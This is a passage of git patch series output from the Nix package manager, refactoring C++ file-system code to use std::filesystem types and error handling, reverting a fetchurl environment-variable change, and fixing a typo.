@@ -432,8 +396,15 @@ static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytes
         AutoCloseDir dir(fdopendir(fd));
         if (!dir)
             throw SysError("opening directory '%1%'", path);
-        for (auto & i : readDirectory(dir.get(), path))
-            _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed);
+
+        struct dirent * dirent;
+        while (errno = 0, dirent = readdir(dir.get())) { /* sic */
+            checkInterrupt();
+            std::string childName = dirent->d_name;
+            if (childName == "." || childName == "..") continue;
+            _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed);
+        }
+        if (errno) throw SysError("reading directory '%1%'", path);
     }
 
     int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
@@ -611,13 +582,7 @@ std::pair<AutoCloseFD, Path> createTempFile(const Path & prefix)
 
 void createSymlink(const Path & target, const Path & link)
 {
-#ifndef _WIN32
-    if (symlink(target.c_str(), link.c_str()))
-        throw SysError("creating symlink from '%1%' to '%2%'", link, target);
-#else
-    // TODO modern Windows does in fact support symlinks
-    throw UnimplementedError("createSymlink");
-#endif
+    fs::create_symlink(target, link);
 }
 
 void replaceSymlink(const Path & target, const Path & link)
@@ -627,8 +592,8 @@ void replaceSymlink(const Path & target, const Path & link)
 
         try {
             createSymlink(target, tmp);
-        } catch (SysError & e) {
-            if (e.errNo == EEXIST) continue;
+        } catch (fs::filesystem_error & e) {
+            if (e.code() == std::errc::file_exists) continue;
             throw;
         }
 
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 0c4e7cfdd48..2ecf2881c2f 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -27,13 +27,6 @@
 #include <sstream>
 #include <optional>
 
-#ifndef HAVE_STRUCT_DIRENT_D_TYPE
-#define DT_UNKNOWN 0
-#define DT_REG 1
-#define DT_LNK 2
-#define DT_DIR 3
-#endif
-
 /**
  * Polyfill for MinGW
  *
@@ -132,20 +125,16 @@ bool isLink(const Path & path);
 struct DirEntry
 {
     std::string name;
-    ino_t ino;
-    /**
-     * one of DT_*
-     */
-    unsigned char type;
-    DirEntry(std::string name, ino_t ino, unsigned char type)
-        : name(std::move(name)), ino(ino), type(type) { }
+    std::filesystem::file_type type;
+    DirEntry(std::string name, std::filesystem::file_type type)
+        : name(std::move(name)), type(type) { }
 };
 
 typedef std::vector<DirEntry> DirEntries;
 
 DirEntries readDirectory(const Path & path);
 
-unsigned char getFileType(const Path & path);
+std::filesystem::file_type getFileType(const Path & path);
 
 /**
  * Read the contents of a file into a string.
diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc
index 8b8942643e3..9234a4b2ec2 100644
--- a/src/libutil/linux/cgroup.cc
+++ b/src/libutil/linux/cgroup.cc
@@ -65,7 +65,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats)
     /* Otherwise, manually kill every process in the subcgroups and
        this cgroup. */
     for (auto & entry : readDirectory(cgroup)) {
-        if (entry.type != DT_DIR) continue;
+        if (entry.type != std::filesystem::file_type::directory) continue;
         destroyCgroup(cgroup + "/" + entry.name, false);
     }
 
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index e9c554939f2..a2559a0fbcf 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -134,13 +134,17 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
     DirEntries res;
     for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) {
         std::optional<Type> type;
+        // cannot exhaustively enumerate because implementation-specific
+        // additional file types are allowed.
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wswitch-enum"
         switch (entry.type) {
-        case DT_REG: type = Type::tRegular; break;
-    #ifndef _WIN32
-        case DT_LNK: type = Type::tSymlink; break;
-    #endif
-        case DT_DIR: type = Type::tDirectory; break;
+        case std::filesystem::file_type::regular: type = Type::tRegular; break;
+        case std::filesystem::file_type::symlink: type = Type::tSymlink; break;
+        case std::filesystem::file_type::directory: type = Type::tDirectory; break;
+        default: type = tMisc;
         }
+#pragma GCC diagnostic pop
         res.emplace(entry.name, type);
     }
     return res;
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index 27c8d821b5d..068b37843cb 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -133,6 +133,7 @@ void closeMostFDs(const std::set<int> & exceptions)
         }
         return;
     } catch (SysError &) {
+    } catch (std::filesystem::filesystem_error &) {
     }
 #endif
 
diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc
index bb3f1bc6add..9dfbea3f1ed 100644
--- a/src/nix-collect-garbage/nix-collect-garbage.cc
+++ b/src/nix-collect-garbage/nix-collect-garbage.cc
@@ -31,14 +31,14 @@ void removeOldGenerations(std::string dir)
         checkInterrupt();
 
         auto path = dir + "/" + i.name;
-        auto type = i.type == DT_UNKNOWN ? getFileType(path) : i.type;
+        auto type = i.type == std::filesystem::file_type::unknown ? getFileType(path) : i.type;
 
-        if (type == DT_LNK && canWrite) {
+        if (type == std::filesystem::file_type::symlink && canWrite) {
             std::string link;
             try {
                 link = readLink(path);
-            } catch (SysError & e) {
-                if (e.errNo == ENOENT) continue;
+            } catch (std::filesystem::filesystem_error & e) {
+                if (e.code() == std::errc::no_such_file_or_directory) continue;
                 throw;
             }
             if (link.find("link") != std::string::npos) {
@@ -49,7 +49,7 @@ void removeOldGenerations(std::string dir)
                 } else
                     deleteOldGenerations(path, dryRun);
             }
-        } else if (type == DT_DIR) {
+        } else if (type == std::filesystem::file_type::directory) {
             removeOldGenerations(path);
         }
     }
diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc
index f7c4cebecc0..f23e36fb5b3 100644
--- a/src/nix/config-check.cc
+++ b/src/nix/config-check.cc
@@ -107,7 +107,8 @@ struct CmdConfigCheck : StoreCommand
                     if (profileDir.find("/profiles/") == std::string::npos)
                         dirs.insert(dir);
                 }
-            } catch (SystemError &) {}
+            } catch (SystemError &) {
+            } catch (std::filesystem::filesystem_error &) {}
         }
 
         if (!dirs.empty()) {

From d641e8f71793187d442368d3ad28ad31a683f5ca Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 7 May 2024 11:25:07 +0200
Subject: [PATCH 095/528] builtin:fetchurl: Revert impureEnvVars attribute

This was changed in #10611, which caused the derivation paths of
anything using builtin:fetchurl to change (i.e. all of
Nixpkgs). However, impureEnvVars doesn't actually do anything for
builtin:fetchurl, so we can just set it to its historical value.
---
 src/libexpr/fetchurl.nix | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/src/libexpr/fetchurl.nix b/src/libexpr/fetchurl.nix
index aef4058fb11..85a01d16179 100644
--- a/src/libexpr/fetchurl.nix
+++ b/src/libexpr/fetchurl.nix
@@ -28,13 +28,9 @@ derivation ({
   # No need to double the amount of network traffic
   preferLocalBuild = true;
 
+  # This attribute does nothing; it's here to avoid changing evaluation results.
   impureEnvVars = [
-    # We borrow these environment variables from the caller to allow
-    # easy proxy configuration.  This is impure, but a fixed-output
-    # derivation like fetchurl is allowed to do so since its result is
-    # by definition pure.
     "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy"
-    "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY"
   ];
 
   # To make "nix-prefetch-url" work.

From a3c573950bb7f46f2f58592bc7ad4cfcc7b31cef Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 7 May 2024 11:29:33 -0400
Subject: [PATCH 096/528] Replace our `DirEntry` with `std::filesystem`'s

---
 src/libcmd/repl.cc                             |  5 +++--
 src/libstore/builtins/buildenv.cc              |  9 +++++----
 src/libstore/globals.cc                        |  4 ++--
 src/libstore/local-binary-cache-store.cc       |  7 ++++---
 src/libstore/profiles.cc                       |  8 ++++----
 src/libstore/unix/builtins/unpack-channel.cc   |  2 +-
 src/libstore/unix/gc.cc                        |  9 +++++----
 src/libstore/unix/local-store.cc               | 11 ++++++-----
 src/libstore/unix/posix-fs-canonicalise.cc     |  4 ++--
 src/libutil/file-system.cc                     |  8 +++-----
 src/libutil/file-system.hh                     | 12 +-----------
 src/libutil/linux/cgroup.cc                    | 12 ++++++------
 src/libutil/posix-source-accessor.cc           |  4 ++--
 src/libutil/unix/file-descriptor.cc            |  2 +-
 src/nix-collect-garbage/nix-collect-garbage.cc |  4 ++--
 src/nix/flake.cc                               |  4 ++--
 src/nix/prefetch.cc                            |  2 +-
 src/nix/run.cc                                 |  4 ++--
 18 files changed, 52 insertions(+), 59 deletions(-)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index d2f2a96480e..8a9155ab6d7 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -260,8 +260,9 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
             auto dir = std::string(cur, 0, slash);
             auto prefix2 = std::string(cur, slash + 1);
             for (auto & entry : readDirectory(dir == "" ? "/" : dir)) {
-                if (entry.name[0] != '.' && hasPrefix(entry.name, prefix2))
-                    completions.insert(prev + dir + "/" + entry.name);
+                auto name = entry.path().filename().string();
+                if (name[0] != '.' && hasPrefix(name, prefix2))
+                    completions.insert(prev + entry.path().string());
             }
         } catch (Error &) {
         } catch (std::filesystem::filesystem_error &) {
diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc
index ebd8f13483a..5fcdf6f157f 100644
--- a/src/libstore/builtins/buildenv.cc
+++ b/src/libstore/builtins/buildenv.cc
@@ -17,7 +17,7 @@ struct State
 /* For each activated package, create symlinks */
 static void createLinks(State & state, const Path & srcDir, const Path & dstDir, int priority)
 {
-    DirEntries srcFiles;
+    std::vector<std::filesystem::directory_entry> srcFiles;
 
     try {
         srcFiles = readDirectory(srcDir);
@@ -30,11 +30,12 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir,
     }
 
     for (const auto & ent : srcFiles) {
-        if (ent.name[0] == '.')
+        auto name = ent.path().filename();
+        if (name.string()[0] == '.')
             /* not matched by glob */
             continue;
-        auto srcFile = srcDir + "/" + ent.name;
-        auto dstFile = dstDir + "/" + ent.name;
+        auto srcFile = (std::filesystem::path{srcDir} / name).string();
+        auto dstFile = (std::filesystem::path{dstDir} / name).string();
 
         struct stat srcSt;
         try {
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index f0096b98120..4df2880e6d4 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -343,11 +343,11 @@ void initPlugins()
 {
     assert(!settings.pluginFiles.pluginsLoaded);
     for (const auto & pluginFile : settings.pluginFiles.get()) {
-        Paths pluginFiles;
+        std::vector<std::filesystem::path> pluginFiles;
         try {
             auto ents = readDirectory(pluginFile);
             for (const auto & ent : ents)
-                pluginFiles.emplace_back(pluginFile + "/" + ent.name);
+                pluginFiles.emplace_back(ent.path());
         } catch (std::filesystem::filesystem_error & e) {
             if (e.code() != std::errc::not_a_directory)
                 throw;
diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc
index 5481dd762e2..3a48f448095 100644
--- a/src/libstore/local-binary-cache-store.cc
+++ b/src/libstore/local-binary-cache-store.cc
@@ -84,11 +84,12 @@ class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public
         StorePathSet paths;
 
         for (auto & entry : readDirectory(binaryCacheDir)) {
-            if (entry.name.size() != 40 ||
-                !hasSuffix(entry.name, ".narinfo"))
+            auto name = entry.path().filename().string();
+            if (name.size() != 40 ||
+                !hasSuffix(name, ".narinfo"))
                 continue;
             paths.insert(parseStorePath(
-                    storeDir + "/" + entry.name.substr(0, entry.name.size() - 8)
+                    storeDir + "/" + name.substr(0, name.size() - 8)
                     + "-" + MissingName));
         }
 
diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc
index a0bb604104a..fa80267039b 100644
--- a/src/libstore/profiles.cc
+++ b/src/libstore/profiles.cc
@@ -34,12 +34,12 @@ std::pair<Generations, std::optional<GenerationNumber>> findGenerations(Path pro
 {
     Generations gens;
 
-    Path profileDir = dirOf(profile);
+    std::filesystem::path profileDir = dirOf(profile);
     auto profileName = std::string(baseNameOf(profile));
 
-    for (auto & i : readDirectory(profileDir)) {
-        if (auto n = parseName(profileName, i.name)) {
-            auto path = profileDir + "/" + i.name;
+    for (auto & i : readDirectory(profileDir.string())) {
+        if (auto n = parseName(profileName, i.path().filename().string())) {
+            auto path = i.path().string();
             gens.push_back({
                 .number = *n,
                 .path = path,
diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc
index 6f68d4c0bc7..47bf5d49c0d 100644
--- a/src/libstore/unix/builtins/unpack-channel.cc
+++ b/src/libstore/unix/builtins/unpack-channel.cc
@@ -24,7 +24,7 @@ void builtinUnpackChannel(
     auto entries = readDirectory(out);
     if (entries.size() != 1)
         throw Error("channel tarball '%s' contains more than one file", src);
-    renameFile((out + "/" + entries[0].name), (out + "/" + channelName));
+    renameFile(entries[0].path().string(), (out + "/" + channelName));
 }
 
 }
diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc
index 6677946aa77..c10ed55641d 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/unix/gc.cc
@@ -160,14 +160,15 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
     /* Read the `temproots' directory for per-process temporary root
        files. */
     for (auto & i : readDirectory(tempRootsDir)) {
-        if (i.name[0] == '.') {
+        auto name = i.path().filename().string();
+        if (name[0] == '.') {
             // Ignore hidden files. Some package managers (notably portage) create
             // those to keep the directory alive.
             continue;
         }
-        Path path = tempRootsDir + "/" + i.name;
+        Path path = i.path();
 
-        pid_t pid = std::stoi(i.name);
+        pid_t pid = std::stoi(name);
 
         debug("reading temporary root file '%1%'", path);
         AutoCloseFD fd(open(path.c_str(), O_CLOEXEC | O_RDWR, 0666));
@@ -222,7 +223,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
 
         if (type == std::filesystem::file_type::directory) {
             for (auto & i : readDirectory(path))
-                findRoots(path + "/" + i.name, i.type, roots);
+                findRoots(i.path().string(), i.symlink_status().type(), roots);
         }
 
         else if (type == std::filesystem::file_type::symlink) {
diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc
index a3de523a300..7a47d152448 100644
--- a/src/libstore/unix/local-store.cc
+++ b/src/libstore/unix/local-store.cc
@@ -1388,15 +1388,16 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
         printInfo("checking link hashes...");
 
         for (auto & link : readDirectory(linksDir)) {
-            printMsg(lvlTalkative, "checking contents of '%s'", link.name);
-            Path linkPath = linksDir + "/" + link.name;
+            auto name = link.path().filename();
+            printMsg(lvlTalkative, "checking contents of '%s'", name);
+            Path linkPath = linksDir / name;
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
                 {getFSSourceAccessor(), CanonPath(linkPath)},
                 FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false);
-            if (hash != link.name) {
+            if (hash != name.string()) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
-                    linkPath, link.name, hash);
+                    linkPath, name, hash);
                 if (repair) {
                     if (unlink(linkPath.c_str()) == 0)
                         printInfo("removed link '%s'", linkPath);
@@ -1483,7 +1484,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair
      */
     for (auto & i : readDirectory(realStoreDir)) {
         try {
-            storePathsInStoreDir.insert({i.name});
+            storePathsInStoreDir.insert({i.path().filename().string()});
         } catch (BadStorePath &) { }
     }
 
diff --git a/src/libstore/unix/posix-fs-canonicalise.cc b/src/libstore/unix/posix-fs-canonicalise.cc
index 8b29e90d48f..916db49ac22 100644
--- a/src/libstore/unix/posix-fs-canonicalise.cc
+++ b/src/libstore/unix/posix-fs-canonicalise.cc
@@ -136,9 +136,9 @@ static void canonicalisePathMetaData_(
     }
 
     if (S_ISDIR(st.st_mode)) {
-        DirEntries entries = readDirectory(path);
+        std::vector<std::filesystem::directory_entry> entries = readDirectory(path);
         for (auto & i : entries)
-            canonicalisePathMetaData_(path + "/" + i.name, uidRange, inodesSeen);
+            canonicalisePathMetaData_(i.path().string(), uidRange, inodesSeen);
     }
 }
 
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 0e68241fce3..b9abcade9c8 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -228,16 +228,14 @@ bool isLink(const Path & path)
 }
 
 
-DirEntries readDirectory(const Path & path)
+std::vector<std::filesystem::directory_entry> readDirectory(const Path & path)
 {
-    DirEntries entries;
+    std::vector<std::filesystem::directory_entry> entries;
     entries.reserve(64);
 
     for (auto & entry : fs::directory_iterator{path}) {
         checkInterrupt();
-        entries.emplace_back(
-            entry.path().filename().string(),
-            entry.symlink_status().type());
+        entries.push_back(std::move(entry));
     }
 
     return entries;
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 2ecf2881c2f..2bf70327645 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -122,17 +122,7 @@ bool isLink(const Path & path);
  * Read the contents of a directory.  The entries `.` and `..` are
  * removed.
  */
-struct DirEntry
-{
-    std::string name;
-    std::filesystem::file_type type;
-    DirEntry(std::string name, std::filesystem::file_type type)
-        : name(std::move(name)), type(type) { }
-};
-
-typedef std::vector<DirEntry> DirEntries;
-
-DirEntries readDirectory(const Path & path);
+std::vector<std::filesystem::directory_entry> readDirectory(const Path & path);
 
 std::filesystem::file_type getFileType(const Path & path);
 
diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc
index 9234a4b2ec2..619ef7764ae 100644
--- a/src/libutil/linux/cgroup.cc
+++ b/src/libutil/linux/cgroup.cc
@@ -47,26 +47,26 @@ std::map<std::string, std::string> getCgroups(const Path & cgroupFile)
     return cgroups;
 }
 
-static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats)
+static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool returnStats)
 {
     if (!pathExists(cgroup)) return {};
 
-    auto procsFile = cgroup + "/cgroup.procs";
+    auto procsFile = cgroup / "cgroup.procs";
 
     if (!pathExists(procsFile))
         throw Error("'%s' is not a cgroup", cgroup);
 
     /* Use the fast way to kill every process in a cgroup, if
        available. */
-    auto killFile = cgroup + "/cgroup.kill";
+    auto killFile = cgroup / "cgroup.kill";
     if (pathExists(killFile))
         writeFile(killFile, "1");
 
     /* Otherwise, manually kill every process in the subcgroups and
        this cgroup. */
     for (auto & entry : readDirectory(cgroup)) {
-        if (entry.type != std::filesystem::file_type::directory) continue;
-        destroyCgroup(cgroup + "/" + entry.name, false);
+        if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue;
+        destroyCgroup(cgroup / entry.path().filename(), false);
     }
 
     int round = 1;
@@ -111,7 +111,7 @@ static CgroupStats destroyCgroup(const Path & cgroup, bool returnStats)
     CgroupStats stats;
 
     if (returnStats) {
-        auto cpustatPath = cgroup + "/cpu.stat";
+        auto cpustatPath = cgroup / "cpu.stat";
 
         if (pathExists(cpustatPath)) {
             for (auto & line : tokenizeString<std::vector<std::string>>(readFile(cpustatPath), "\n")) {
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index a2559a0fbcf..4ff61f6bb63 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -138,14 +138,14 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
         // additional file types are allowed.
 #pragma GCC diagnostic push
 #pragma GCC diagnostic ignored "-Wswitch-enum"
-        switch (entry.type) {
+        switch (entry.symlink_status().type()) {
         case std::filesystem::file_type::regular: type = Type::tRegular; break;
         case std::filesystem::file_type::symlink: type = Type::tSymlink; break;
         case std::filesystem::file_type::directory: type = Type::tDirectory; break;
         default: type = tMisc;
         }
 #pragma GCC diagnostic pop
-        res.emplace(entry.name, type);
+        res.emplace(entry.path().filename().string(), type);
     }
     return res;
 }
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index 068b37843cb..222d077e511 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -125,7 +125,7 @@ void closeMostFDs(const std::set<int> & exceptions)
 #if __linux__
     try {
         for (auto & s : readDirectory("/proc/self/fd")) {
-            auto fd = std::stoi(s.name);
+            auto fd = std::stoi(s.path().filename());
             if (!exceptions.count(fd)) {
                 debug("closing leaked FD %d", fd);
                 close(fd);
diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc
index 9dfbea3f1ed..02a3a4b8343 100644
--- a/src/nix-collect-garbage/nix-collect-garbage.cc
+++ b/src/nix-collect-garbage/nix-collect-garbage.cc
@@ -30,8 +30,8 @@ void removeOldGenerations(std::string dir)
     for (auto & i : readDirectory(dir)) {
         checkInterrupt();
 
-        auto path = dir + "/" + i.name;
-        auto type = i.type == std::filesystem::file_type::unknown ? getFileType(path) : i.type;
+        auto path = i.path().string();
+        auto type = i.symlink_status().type();
 
         if (type == std::filesystem::file_type::symlink && canWrite) {
             std::string link;
diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index d5987237fad..9c1888aa05f 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -867,8 +867,8 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand
             createDirs(to);
 
             for (auto & entry : readDirectory(from)) {
-                auto from2 = from + "/" + entry.name;
-                auto to2 = to + "/" + entry.name;
+                auto from2 = entry.path().string();
+                auto to2 = to + "/" + entry.path().filename().string();
                 auto st = lstat(from2);
                 if (S_ISDIR(st.st_mode))
                     copyDir(from2, to2);
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 6c2eb5aafbd..cff1c79886b 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -117,7 +117,7 @@ std::tuple<StorePath, Hash> prefetchFile(
                that as the top-level. */
             auto entries = readDirectory(unpacked);
             if (entries.size() == 1)
-                tmpFile = unpacked + "/" + entries[0].name;
+                tmpFile = entries[0].path().string();
             else
                 tmpFile = unpacked;
         }
diff --git a/src/nix/run.cc b/src/nix/run.cc
index 88821710dfe..9c559bdf695 100644
--- a/src/nix/run.cc
+++ b/src/nix/run.cc
@@ -249,8 +249,8 @@ void chrootHelper(int argc, char * * argv)
             throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir);
 
         for (auto entry : readDirectory("/")) {
-            auto src = "/" + entry.name;
-            Path dst = tmpDir + "/" + entry.name;
+            auto src = entry.path().string();
+            Path dst = tmpDir + "/" + entry.path().filename().string();
             if (pathExists(dst)) continue;
             auto st = lstat(src);
             if (S_ISDIR(st.st_mode)) {

From 72a0d4b022b72a7f48a7784df04d50ec8bd874f5 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 7 May 2024 13:57:39 -0400
Subject: [PATCH 097/528] Try to fix macOS Nixpkgs lib test failure

Sometimes we read a directory with children we cannot stat. It's a pitty
we even try to stat at all (wasteful) in the `DT_UNKNOWN` case, but at
least this should get rid of the failure.
---
 src/libstore/unix/gc.cc              |  8 +++++++
 src/libutil/posix-source-accessor.cc | 31 ++++++++++++++++++++--------
 2 files changed, 30 insertions(+), 9 deletions(-)

diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc
index c10ed55641d..38cbf12b218 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/unix/gc.cc
@@ -256,6 +256,14 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
 
     }
 
+    catch (std::filesystem::filesystem_error & e) {
+        /* We only ignore permanent failures. */
+        if (e.code() == std::errc::permission_denied || e.code() == std::errc::no_such_file_or_directory || e.code() == std::errc::not_a_directory)
+            printInfo("cannot read potential root '%1%'", path);
+        else
+            throw;
+    }
+
     catch (SysError & e) {
         /* We only ignore permanent failures. */
         if (e.errNo == EACCES || e.errNo == ENOENT || e.errNo == ENOTDIR)
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index 4ff61f6bb63..aa13f4c56b8 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -133,18 +133,31 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
     assertNoSymlinks(path);
     DirEntries res;
     for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) {
-        std::optional<Type> type;
-        // cannot exhaustively enumerate because implementation-specific
-        // additional file types are allowed.
+        auto type = [&]() -> std::optional<Type> {
+            std::filesystem::file_type nativeType;
+            try {
+                nativeType = entry.symlink_status().type();
+            } catch (std::filesystem::filesystem_error & e) {
+                // We cannot always stat the child. (Ideally there is no
+                // stat because the native directory entry has the type
+                // already, but this isn't always the case.)
+                if (e.code() == std::errc::permission_denied || e.code() == std::errc::operation_not_permitted)
+                    return std::nullopt;
+                else throw;
+            }
+
+            // cannot exhaustively enumerate because implementation-specific
+            // additional file types are allowed.
 #pragma GCC diagnostic push
 #pragma GCC diagnostic ignored "-Wswitch-enum"
-        switch (entry.symlink_status().type()) {
-        case std::filesystem::file_type::regular: type = Type::tRegular; break;
-        case std::filesystem::file_type::symlink: type = Type::tSymlink; break;
-        case std::filesystem::file_type::directory: type = Type::tDirectory; break;
-        default: type = tMisc;
-        }
+            switch (nativeType) {
+            case std::filesystem::file_type::regular: return Type::tRegular; break;
+            case std::filesystem::file_type::symlink: return Type::tSymlink; break;
+            case std::filesystem::file_type::directory: return Type::tDirectory; break;
+            default: return tMisc;
+            }
 #pragma GCC diagnostic pop
+        }();
         res.emplace(entry.path().filename().string(), type);
     }
     return res;

From fcbc36cf78a1eb7be7458683da99a4dd08144a6f Mon Sep 17 00:00:00 2001
From: Siddhant Kumar <siddhantk232@gmail.com>
Date: Wed, 8 May 2024 03:58:50 +0530
Subject: [PATCH 098/528] Use `std::filesystem::path` in more places (#10657)

Progress on #9205

Co-Authored-By: John Ericson <John.Ericson@Obsidian.Systems>

* Get rid of `PathNG`, just use `std::filesystem::path`
---
 src/libstore/ssh-store.cc            |  2 +-
 src/libstore/ssh.cc                  |  6 +++---
 src/libstore/unix/local-store.cc     | 18 ++++++++--------
 src/libstore/unix/local-store.hh     |  2 +-
 src/libutil/experimental-features.cc |  2 +-
 src/libutil/file-path.hh             | 32 +++++++++++++++++-----------
 src/libutil/file-system.cc           | 27 +++++++++++------------
 src/libutil/file-system.hh           | 21 ++++++++++++------
 src/libutil/unix/file-path.cc        |  6 +++---
 src/libutil/windows/file-path.cc     | 16 +++++++-------
 src/nix-build/nix-build.cc           | 12 +++++------
 src/nix/develop.cc                   | 32 +++++++++++++++++-----------
 src/nix/prefetch.cc                  | 10 ++++-----
 13 files changed, 104 insertions(+), 82 deletions(-)

diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc
index 0cf92b114c7..220d5d31b7a 100644
--- a/src/libstore/ssh-store.cc
+++ b/src/libstore/ssh-store.cc
@@ -108,7 +108,7 @@ struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfi
     {
     }
 
-    const std::string name() override { return "Experimental SSH Store with filesytem mounted"; }
+    const std::string name() override { return "Experimental SSH Store with filesystem mounted"; }
 
     std::string doc() override
     {
diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc
index 04f45827943..7e730299ab7 100644
--- a/src/libstore/ssh.cc
+++ b/src/libstore/ssh.cc
@@ -31,11 +31,11 @@ void SSHMaster::addCommonSSHOpts(Strings & args)
     if (!keyFile.empty())
         args.insert(args.end(), {"-i", keyFile});
     if (!sshPublicHostKey.empty()) {
-        Path fileName = (Path) *state->tmpDir + "/host-key";
+        std::filesystem::path fileName = state->tmpDir->path() / "host-key";
         auto p = host.rfind("@");
         std::string thost = p != std::string::npos ? std::string(host, p + 1) : host;
-        writeFile(fileName, thost + " " + base64Decode(sshPublicHostKey) + "\n");
-        args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName});
+        writeFile(fileName.string(), thost + " " + base64Decode(sshPublicHostKey) + "\n");
+        args.insert(args.end(), {"-oUserKnownHostsFile=" + fileName.string()});
     }
     if (compress)
         args.push_back("-C");
diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc
index 7a47d152448..f33d9271780 100644
--- a/src/libstore/unix/local-store.cc
+++ b/src/libstore/unix/local-store.cc
@@ -1220,8 +1220,8 @@ StorePath LocalStore::addToStoreFromDump(
     }
 
     std::unique_ptr<AutoDelete> delTempDir;
-    Path tempPath;
-    Path tempDir;
+    std::filesystem::path tempPath;
+    std::filesystem::path tempDir;
     AutoCloseFD tempDirFd;
 
     bool methodsMatch = ContentAddressMethod(FileIngestionMethod(dumpMethod)) == hashMethod;
@@ -1237,9 +1237,9 @@ StorePath LocalStore::addToStoreFromDump(
 
         std::tie(tempDir, tempDirFd) = createTempDirInStore();
         delTempDir = std::make_unique<AutoDelete>(tempDir);
-        tempPath = tempDir + "/x";
+        tempPath = tempDir / "x";
 
-        restorePath(tempPath, bothSource, dumpMethod);
+        restorePath(tempPath.string(), bothSource, dumpMethod);
 
         dumpBuffer.reset();
         dump = {};
